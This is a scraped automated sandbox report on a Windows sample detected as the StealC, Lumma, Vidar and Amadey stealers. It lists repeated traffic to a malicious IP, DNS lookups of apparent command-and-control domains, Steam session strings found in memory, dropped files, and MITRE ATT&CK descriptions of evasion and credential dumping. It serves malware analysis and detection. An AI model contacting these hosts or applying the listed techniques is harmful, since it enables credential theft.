Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=898b4d7e7955e9df31d6f6e6; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 18 Dec 2024 11:01:23 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: dare-curbys.biz
Source: global traffic	DNS traffic detected: DNS query: se-blurry.biz
Source: global traffic	DNS traffic detected: DNS query: zinc-sneark.biz
Source: global traffic	DNS traffic detected: DNS query: dwell-exclaim.biz
Source: global traffic	DNS traffic detected: DNS query: formy-spill.biz
Source: global traffic	DNS traffic detected: DNS query: covery-mover.biz
Source: global traffic	DNS traffic detected: DNS query: print-vexer.biz
Source: global traffic	DNS traffic detected: DNS query: impend-differ.biz
Source: global traffic	DNS traffic detected: DNS query: restores.name
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe.6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCFHDHIIIECBGCAKFIJDHJEGI

C:\ProgramData\DHCBGDHIEBFHCBFHDHDHJKFCBA

C:\ProgramData\ECBGCGCG

C:\ProgramData\EHCFBFBA

C:\ProgramData\EHCFBFBAEBKJKEBGCAEH

C:\ProgramData\EHDHIDAEHCFHJJJJECAA

C:\ProgramData\KECFIDGCBFBAKEBFBKFB

Windows Analysis Report
random.exe.6.exe

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre